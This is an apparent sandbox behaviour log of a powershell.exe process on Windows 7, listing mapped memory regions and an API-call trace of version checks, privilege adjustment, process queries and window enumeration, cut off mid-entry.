name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1643 start_va = 0x1bd10000 end_va = 0x1bd11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bd10000" filename = "" Region: id = 1644 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1645 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1646 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1647 start_va = 0x1cca0000 end_va = 0x1cd1ffff entry_point = 0x0 region_type = private name = "private_0x000000001cca0000" filename = "" Region: id = 1648 start_va = 0x1cd40000 end_va = 0x1cdbffff entry_point = 0x0 region_type = private name = "private_0x000000001cd40000" filename = "" Region: id = 1649 start_va = 0x7fffff06000 end_va = 0x7fffff07fff entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Region: id = 1650 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1651 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Region: id = 1652 start_va = 0x1bc00000 end_va = 0x1bc3ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc00000" filename = "" Region: id = 1653 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1654 start_va = 0x1cdc0000 end_va = 0x1cf6ffff entry_point = 0x0 region_type = private name = "private_0x000000001cdc0000" filename = "" Region: id = 1655 start_va = 0x1ce80000 end_va = 0x1cefffff entry_point = 0x0 region_type = private name = "private_0x000000001ce80000" filename = "" Region: id = 1656 start_va = 0x1cf60000 end_va = 0x1cf6ffff entry_point = 0x0 region_type = private name = "private_0x000000001cf60000" filename = "" Region: id = 1657 start_va = 0x7fffff04000 end_va = 0x7fffff05fff entry_point = 0x0 region_type = private name = "private_0x000007fffff04000" filename = "" Region: id = 1658 start_va = 0x7fefbf10000 end_va = 0x7fefc039fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 1659 start_va = 0x1bc60000 end_va = 0x1bc60fff entry_point = 0x0 region_type = private name = "private_0x000000001bc60000" filename = "" Region: id = 1660 start_va = 0x1c990000 end_va = 0x1ca1dfff entry_point = 0x0 region_type = private name = "private_0x000000001c990000" filename = "" Region: id = 1661 start_va = 0x1ca40000 end_va = 0x1cabffff entry_point = 0x0 region_type = private name = "private_0x000000001ca40000" filename = "" Region: id = 1662 start_va = 0x1bd20000 end_va = 0x1bd2ffff entry_point = 0x0 region_type = private name = "private_0x000000001bd20000" filename = "" Region: id = 1663 start_va = 0x1bd30000 end_va = 0x1bd3ffff entry_point = 0x0 region_type = private name = "private_0x000000001bd30000" filename = "" Region: id = 1664 start_va = 0x1c8d0000 end_va = 0x1c8dffff entry_point = 0x0 region_type = private name = "private_0x000000001c8d0000" filename = "" Region: id = 1665 start_va = 0x1c8e0000 end_va = 0x1c8effff entry_point = 0x0 region_type = private name = "private_0x000000001c8e0000" filename = "" Region: id = 1666 start_va = 0x1c8f0000 end_va = 0x1c8fffff entry_point = 0x0 region_type = private name = "private_0x000000001c8f0000" filename = "" Region: id = 1667 start_va = 0x7ff002a0000 end_va = 0x7ff002affff entry_point = 0x0 region_type = private name = "private_0x000007ff002a0000" filename = "" Region: id = 1668 start_va = 0x1cf70000 end_va = 0x1d06ffff entry_point = 0x0 region_type = private name = "private_0x000000001cf70000" filename = "" Region: id = 1669 start_va = 0x7ff002b0000 end_va = 0x7ff002bffff entry_point = 0x0 region_type = private name = "private_0x000007ff002b0000" filename = "" Thread: id = 97 os_tid = 0xb60 [0106.039] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.473] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0106.474] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0106.474] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0106.474] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0107.292] GetVersionExW (in: lpVersionInformation=0x1ad880*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ad880*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0107.294] GetVersionExW (in: lpVersionInformation=0x1ad880*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ad880*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0107.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.313] GetVersionExW (in: lpVersionInformation=0x1ad5f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ad5f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0107.313] SetErrorMode (uMode=0x1) returned 0x1 [0107.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1ad750 | out: lpFileInformation=0x1ad750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0107.315] SetErrorMode (uMode=0x1) returned 0x1 [0107.327] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1ad9c0 | out: lpdwHandle=0x1ad9c0) returned 0x94c [0107.331] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2d271b8 | out: lpData=0x2d271b8) returned 1 [0107.334] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ad938, puLen=0x1ad930 | out: lplpBuffer=0x1ad938*=0x2d27254, puLen=0x1ad930) returned 1 [0107.337] lstrlenW (lpString="䅁") returned 1 [0107.350] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27330, puLen=0x1ad8a0) returned 1 [0107.351] lstrlenW (lpString="Microsoft Corporation") returned 21 [0107.353] CoTaskMemAlloc (cb=0x2e) returned 0x287d660 [0107.353] lstrcpyW (in: lpString1=0x287d660, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0107.354] CoTaskMemFree (pv=0x287d660) [0107.354] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27384, puLen=0x1ad8a0) returned 1 [0107.354] lstrlenW (lpString="System.Management.Automation") returned 28 [0107.354] CoTaskMemAlloc (cb=0x3c) returned 0x287c1c0 [0107.354] lstrcpyW (in: lpString1=0x287c1c0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0107.354] CoTaskMemFree (pv=0x287c1c0) [0107.354] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d273e0, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.355] CoTaskMemAlloc (cb=0x20) returned 0x2879fe0 [0107.355] lstrcpyW (in: lpString1=0x2879fe0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.355] CoTaskMemFree (pv=0x2879fe0) [0107.355] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27420, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.355] CoTaskMemAlloc (cb=0x44) returned 0x287c1c0 [0107.355] lstrcpyW (in: lpString1=0x287c1c0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.355] CoTaskMemFree (pv=0x287c1c0) [0107.355] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27488, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0107.355] CoTaskMemAlloc (cb=0x76) returned 0x365e20 [0107.355] lstrcpyW (in: lpString1=0x365e20, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0107.355] CoTaskMemFree (pv=0x365e20) [0107.355] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27524, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.355] CoTaskMemAlloc (cb=0x44) returned 0x287c1c0 [0107.355] lstrcpyW (in: lpString1=0x287c1c0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.355] CoTaskMemFree (pv=0x287c1c0) [0107.355] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27588, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0107.355] CoTaskMemAlloc (cb=0x58) returned 0x317db0 [0107.355] lstrcpyW (in: lpString1=0x317db0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0107.355] CoTaskMemFree (pv=0x317db0) [0107.355] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d27604, puLen=0x1ad8a0) returned 1 [0107.355] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.355] CoTaskMemAlloc (cb=0x20) returned 0x2879fe0 [0107.355] lstrcpyW (in: lpString1=0x2879fe0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.356] CoTaskMemFree (pv=0x2879fe0) [0107.356] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x2d272ac, puLen=0x1ad8a0) returned 1 [0107.356] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0107.356] CoTaskMemAlloc (cb=0x66) returned 0x28782b0 [0107.356] lstrcpyW (in: lpString1=0x28782b0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0107.356] CoTaskMemFree (pv=0x28782b0) [0107.356] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x0, puLen=0x1ad8a0) returned 0 [0107.356] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x0, puLen=0x1ad8a0) returned 0 [0107.356] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1ad8a8, puLen=0x1ad8a0 | out: lplpBuffer=0x1ad8a8*=0x0, puLen=0x1ad8a0) returned 0 [0107.356] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ad878, puLen=0x1ad870 | out: lplpBuffer=0x1ad878*=0x2d27254, puLen=0x1ad870) returned 1 [0107.358] CoTaskMemAlloc (cb=0x204) returned 0x385b60 [0107.358] VerLanguageNameW (in: wLang=0x0, szLang=0x385b60, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0107.359] CoTaskMemFree (pv=0x385b60) [0107.360] VerQueryValueW (in: pBlock=0x2d271b8, lpSubBlock="\\", lplpBuffer=0x1ad8c8, puLen=0x1ad8c0 | out: lplpBuffer=0x1ad8c8*=0x2d271e0, puLen=0x1ad8c0) returned 1 [0107.371] GetCurrentProcessId () returned 0xb5c [0107.407] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1ac7f0 | out: lpLuid=0x1ac7f0*(LowPart=0x14, HighPart=0)) returned 1 [0107.409] GetCurrentProcess () returned 0xffffffffffffffff [0107.409] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1ac810 | out: TokenHandle=0x1ac810*=0x2f4) returned 1 [0107.411] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2d2aa30*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0107.414] CloseHandle (hObject=0x2f4) returned 1 [0107.422] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb5c) returned 0x2f4 [0107.432] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2d2aa98, cb=0x200, lpcbNeeded=0x1ad828 | out: lphModule=0x2d2aa98, lpcbNeeded=0x1ad828) returned 1 [0107.435] GetModuleInformation (in: hProcess=0x2f4, hModule=0x13fdf0000, lpmodinfo=0x2d2ad08, cb=0x18 | out: lpmodinfo=0x2d2ad08*(lpBaseOfDll=0x13fdf0000, SizeOfImage=0x77000, EntryPoint=0x13fdfc63c)) returned 1 [0107.436] CoTaskMemAlloc (cb=0x804) returned 0x2883b20 [0107.437] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x13fdf0000, lpBaseName=0x2883b20, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0107.437] CoTaskMemFree (pv=0x2883b20) [0107.438] CoTaskMemAlloc (cb=0x804) returned 0x2883b20 [0107.438] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x13fdf0000, lpFilename=0x2883b20, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0107.438] CoTaskMemFree (pv=0x2883b20) [0107.439] CloseHandle (hObject=0x2f4) returned 1 [0107.492] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb5c) returned 0x2f4 [0107.594] GetExitCodeProcess (in: hProcess=0x2f4, lpExitCode=0x1ad958 | out: lpExitCode=0x1ad958*=0x103) returned 1 [0107.602] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12d2b088, Length=0x20000, ResultLength=0x1ad920 | out: SystemInformation=0x12d2b088, ResultLength=0x1ad920*=0xd7e0) returned 0x0 [0107.636] EnumWindows (lpEnumFunc=0x27366ac, lParam=0x0) returned 1 [0107.636] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.636] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6d4 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x32c [0107.637] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.637] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.638] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.638] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.638] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.638] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.638] GetWindowThreadProcessId (in: hWnd=0x6028c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.638] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0xac4 [0107.639] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0xa30 [0107.639] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.639] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x914 [0107.640] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x7c4 [0107.640] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.640] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5c0 [0107.640] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x79c [0107.640] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3b0 [0107.640] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x450 [0107.640] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x62c [0107.640] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x2ec [0107.641] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x278 [0107.641] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x464 [0107.641] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x774 [0107.641] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6bc [0107.641] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x778 [0107.641] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x34c [0107.641] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x1e0 [0107.641] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5f0 [0107.641] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x2b0 [0107.641] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6a4 [0107.641] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6d4 [0107.641] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6b0 [0107.641] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6d4 [0107.642] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6b0 [0107.642] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 